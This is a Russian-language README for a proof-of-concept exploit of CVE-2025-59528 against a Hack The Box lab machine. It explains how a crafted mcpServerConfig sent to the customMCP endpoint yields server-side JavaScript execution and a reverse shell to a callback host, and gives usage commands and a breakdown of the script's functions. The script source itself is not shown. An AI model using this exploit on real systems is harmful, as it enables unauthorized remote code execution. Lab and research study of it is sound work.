
PoC для CVE-2025-59528, используемый для удалённого выполнения кода на машине Silentium на HTB.
Только для образовательных целей. Этот проект предназначен для контролируемых исследований в области безопасности, учебных демонстраций и авторизованного тестирования в изолированной лаборатории. Не используйте его против систем, сетей, приложений или учётных записей, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Эта proof of concept демонстрирует, как некорректно обработанное значение mcpServerConfig может допускать выполнение JavaScript на стороне сервера и выполнение команд через функциональность загрузки узлов customMCP.
Скрипт поддерживает два метода аутентификации:
Authorization.После аутентификации скрипт отправляет специально сформированную конфигурацию на /api/v1/node-load-method/customMCP. Полезная нагрузка использует функциональность дочерних процессов Node.js для выполнения shell-команды и обратного подключения к слушателю, контролируемому исследователем. Это поведение включено исключительно для демонстрации потенциального воздействия в авторизованной лабораторной среде.
requests.Установите зависимость с помощью:
python3 -m pip install requests
Сохраните скрипт как CVE-2025-59528.py.
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
Пример с демонстрационными значениями:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
Пример с демонстрационными значениями:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
Скрипт ожидает доступности следующих маршрутов приложения:
/api/v1/auth/login/api/v1/node-load-method/customMCPТекущий скрипт формирует URL-адреса http://. Обновите реализацию для HTTPS при тестировании лабораторного развёртывания, требующего TLS.
main() проверяет количество аргументов командной строки и выбирает режим аутентификации.login() отправляет переданные учётные данные на эндпоинт входа.tokens() извлекает значения сеанса из заголовка ответа Set-Cookie.shell() формирует аутентифицированный запрос и отправляет специально созданное значение mcpServerConfig.bearer() выполняет тот же запрос, используя bearer-токен вместо файлов cookie сеанса.